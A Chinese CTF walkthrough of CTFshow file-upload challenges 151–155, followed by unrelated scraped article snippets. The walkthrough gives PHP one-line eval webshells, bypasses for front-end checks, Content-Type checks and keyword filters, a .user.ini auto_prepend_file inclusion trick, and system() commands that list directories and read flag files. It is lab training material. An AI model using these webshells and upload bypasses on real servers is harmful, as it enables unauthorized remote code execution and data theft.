CTFshow之文件上传web入门151关-161关解密。包教包会!!!!

 

这段时间一直在搞文件上传相关的知识,正好把ctf的题目做做写写给自字做个总结!

不过有一个确定就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计

一、实验准备

1.ctf网站:

www.ctf.show

2.工具:

burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)

二、实验过程

(一)第151关 -- 前端验证

前提:我们已知此处可以上传图片类型文件

对于前端验证,我们常用的有两种方法进行绕过:

1.在右键检查->设置处启用禁止js

不过此方法建议使用虽然我们有时候能够绕过,但是当此网页含有大量使用js编写的代码时,会导致网页部分功能瘫痪!汗颜,ctf也失效了,所以还是老老实实使用第二种方法

2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀

上传成功!

但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!

我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件

3.利用后门文件

一句话木马,上下两种无论带不带引号均可以:

<?php @eval($_POST['ws'])?>

<?php @eval($_POST[ws])?>

此时我们存在两种方法(此处我们统一使用第2中方法):

(1)通过蚁剑连接寻找flag文件

payload:

https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php

连接密码(因人而异):

ws

(2)直接通过hackbar发post包利用system()函数执行

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(二)第152关 -- 不严谨的后端验证

1.上传后门及分析

此处考察我们content-type验证为:image/png、image/gif、image/jpg

传输正确文件抓包,content-type为image/pnf

发送一句话木马,修改content-type值为:image/png,此处注意一下,我直接上传.php文件发现无法通过,定睛一看才发现前端验证还没关,汗颜!上传1.png的木马

上传成功!

2.利用后门

与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag

payload:

https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.phphttps://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php

post data:ws=system('ls ../');

post data:ws=system("tac ../flag.php");

成功!

(三)第153关 -- 利用php中.user.ini文件进行解析

我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用

突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!

1. .user.ini文件特性

当网站进行扫描时,会将.user.ini文件指向路径内容包含在首页代码处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置

例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径

所以,本题的解题思路:

先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可

2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)

内容:auto_prepend_file=1.png

上传成功

3.上传1.png格式一句话木马

上传成功!

4.利用

首先访问..upload/index.php触发.ujser.ini文件将1.png内容写入index.php

paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.phphttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php

其次,操作如上述两关


https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php(四)第154关 -- 内容过滤

执行思路如153关,但是在上传1.png文件时注意所过滤的内容

1.上传.user.ini文件

(具体不在进行演示与上述153关相同)

2.上传1.png木马文件寻找过滤内容

过滤内容:php

经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php

所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:

paylaod:<?=eval($_POST['ws']);?>

上传成功

3.利用后门

是骡子是马我们拉出来遛一遛,进行前述关卡利用操作

首先访问首页文件触发.user.ini将1.png内容写入,触发后门

payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(五)第155关 -- 内容过滤

整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.测试过滤内容

发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)

过滤内容:php

paylaod:<?=eval($_POST['ws']);?>

3.利用(与154一致)

访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容

成功!

先写到这,明天继续!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/633905.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

STM32自己从零开始实操02:输入部分原理图

一、触摸按键 1.1指路 项目需求&#xff1a; 4个触摸按键&#xff0c;主控芯片 TTP224N-BSBN&#xff08;嘉立创&#xff0c;封装 TSSOP-16&#xff09;&#xff0c;接入到 STM32 的 PE0&#xff0c;PE1&#xff0c;PE2&#xff0c;PE3。 1.2走路 1.2.1数据手册重要信息提…

Redis常见数据类型(4) - hash, List

hash 命令小结 命令执行效果时间复杂度hset key field value设置值O(1)hget key field获取值O(1)hdel key field [field...]删除值O(k), k是field个数hlen key计算field个数O(1)hgetall key获取所有的field-valueO(k), k是field的个数hmget field [field...]批量获取field-va…

Orcle查询组合字段重复的数据

oracle拼接字符串 在Oracle中&#xff0c;可以使用||运算符或CONCAT函数来拼接字符串。 使用||运算符&#xff1a; SELECT Hello, || World! AS concatenated_string FROM dual;使用CONCAT函数&#xff1a; SELECT CONCAT(Hello, , World!) AS concatenated_string FROM d…

智慧医疗时代:探索互联网医院开发的新篇章

在智慧医疗时代&#xff0c;互联网医院开发正引领着医疗服务的创新浪潮。通过将先进的技术与医疗服务相结合&#xff0c;互联网医院为患者和医生提供了全新的互动方式&#xff0c;极大地提升了医疗服务的便捷性和效率。本文将深入探讨互联网医院的开发&#xff0c;介绍其技术实…

如何彻底搞懂迭代器(Iterator)设计模式?

说起迭代器&#xff08;Iterator&#xff09;&#xff0c;相信你并不会陌生&#xff0c;因为我们几乎每天都在使用JDK中自带的各种迭代器。那么&#xff0c;这些迭代器是如何构建出来的呢&#xff1f;就需要用到了今天内容要介绍的迭代器设计模式。在日常开发过程中&#xff0c…

多尺度注意力机制突破性成果!低成本、高性能兼备

与传统的注意力机制相比&#xff0c;多尺度注意力机制引入了多个尺度的注意力权重&#xff0c;让模型能够更好地理解和处理复杂数据。 这种机制通过在不同尺度上捕捉输入数据的特征&#xff0c;让模型同时关注局部细节和全局结构&#xff0c;以提高对细节和上下文信息的理解&a…

开源大模型与闭源大模型:技术哲学的较量

目录 前言一、 开源大模型的优势1. 社区支持与合作1.1 全球协作网络1.2 快速迭代与创新1.3 共享最佳实践 2. 透明性与可信赖性2.1 审计与验证2.2 减少偏见与错误2.3 安全性提升 3. 低成本与易访问性3.1 降低研发成本3.2 易于定制化3.3 教育资源丰富 4. 促进标准化5. 推动技术进…

3d选择模型后不能旋转什么原因?怎么解决?---模大狮模型网

在3D建模和渲染的过程中&#xff0c;旋转模型是常见的操作。然而&#xff0c;有时在选择了模型后&#xff0c;却发现无法进行旋转&#xff0c;这可能会让许多用户感到困扰。本文将探讨3D选择模型后不能旋转的可能原因&#xff0c;并提供相应的解决方法。 一、3D选择模型后不能旋…

Zynq-Linux移植学习笔记之68- 国产ZYNQ添加用户自定义版本信息

1、背景介绍 在使用复旦微zynq时&#xff0c;有时候虽然针对uboot源码进行了改动&#xff0c;但由于uboot基线版本只有一个&#xff08;2018-07-fmsh&#xff09;&#xff0c;导致无法区分版本信息&#xff0c;虽然可以通过编译时间来区分&#xff0c;但没有版本号直观。内核也…

快速搭建 WordPress 外贸电商网站指南

本指南全面解析了在 Hostinger 平台上部署 WordPress 外贸电商网站的详细步骤&#xff0c;涵盖托管方案选择、WordPress 一键安装、主题挑选与演示数据导入、主题个性化定制、SEO插件插件 AIOSEO 安装、通过 GTranslate 实现多语言自动翻译、地区访问控制插件&#xff0c;助力用…

高中数学:平面向量-数量积(向量与向量的乘积)与投影

一、引题 物理上的力做功 二、数量积与投影 1、数量积 θ的范围是[0,π] 2、投影 向量的投影&#xff0c;依然是一个向量&#xff01; 3、运算法则 易错点&#xff1a; 4、重要性质 这里对性质(2)要注意一下&#xff1a;如果 a → \mathop{a}\limits ^{\rightarrow…

30.包名的修改和新建后端模块

权限和第三方登录确实令人头疼,我们来学一点简单一点的。 另外,如果各位有属于自己的域名和ICP/IP备案,布置一个作业,自行实现第三方QQ登录。 我们所说的包名修改,是一次性修改ruoyi的全部包名,因为发现很多人有这样的需求,下载别人的代码,想要改成自己公司的包名,结…

当代家庭教育杂志社《当代家庭教育》杂志社24年第6期目录

家庭教育资讯 《家庭教育蓝皮书2024:中国家庭养育环境报告》出炉 4 2024年4月至7月北京市将开展“双减”专项行动 5 小学生玩“烟卡”到底该不该禁&#xff1f; 5 家庭教育理论探索 新时代家长家庭教育素养&#xff1a;意涵、关键要素及其培育 周起煌; 6-10 …

海外仓WMS系统多少钱?家庭海外仓怎么选合适的系统

作为海外仓管理的核心工具&#xff0c;WMS系统能够帮助企业实现仓库的可视化管理&#xff0c;流程自动化以及决策的数据化支持&#xff0c;进而提升海外仓的整体竞争力。 然而&#xff0c;许多海外仓企业在选择wms系统的时候&#xff0c;往往对价格的疑虑比较大&#xff0c;不…

微服务远程调用 RestTemplate

Spring给我们提供了一个RestTemplate的API&#xff0c;可以方便的实现Http请求的发送。 同步客户端执行HTTP请求&#xff0c;在底层HTTP客户端库(如JDK HttpURLConnection、Apache HttpComponents等)上公开一个简单的模板方法API。RestTemplate通过HTTP方法为常见场景提供了模…

Xinstall全渠道统计服务,洞悉App推广效果

在当今数字化时代&#xff0c;App已经成为企业和个人进行业务推广和服务提供的重要渠道。然而&#xff0c;随着App市场的日益饱和&#xff0c;如何有效地推广和运营App成为了众多广告主和开发者面临的难题。而App渠道统计作为衡量推广效果、优化运营策略的重要手段&#xff0c;…

大数据运维学习笔记之Ambari——筑梦之路

原则&#xff1a;分布式存储和分布式计算分开 今天就到这里啦。

Github上传时报错The file path is empty的解决办法

问题截图 文件夹明明不是空的&#xff0c;却怎么都上传不上去。 解决方案&#xff1a; 打开隐藏文件的开关&#xff0c;删除原作者的.git文件 如图所示&#xff1a; 上传成功&#xff01;

JS片段:如何将文本复制到剪贴板

在构建网站时&#xff0c;一个非常普遍的需求是能够通过单击按钮将文本复制到剪贴板。在现代浏览器中&#xff0c;使用navigator.clipboardAPI 访问系统剪切板&#xff0c;利用clipboard.writeText复制到剪贴板&#xff0c;再通过clipboard.readText获取剪贴板内容即可实现。 …

APH-Archives of Public Health

文章目录 一、期刊简介二、征稿信息三、期刊表现四、投稿须知五、投稿咨询 一、期刊简介 Archives of Public Health是一份范围广泛的公共卫生杂志&#xff0c;致力于出版公共卫生领域所有可靠的科学。该杂志旨在更好地了解人群的健康。该杂志有助于公共卫生知识&#xff0c;加…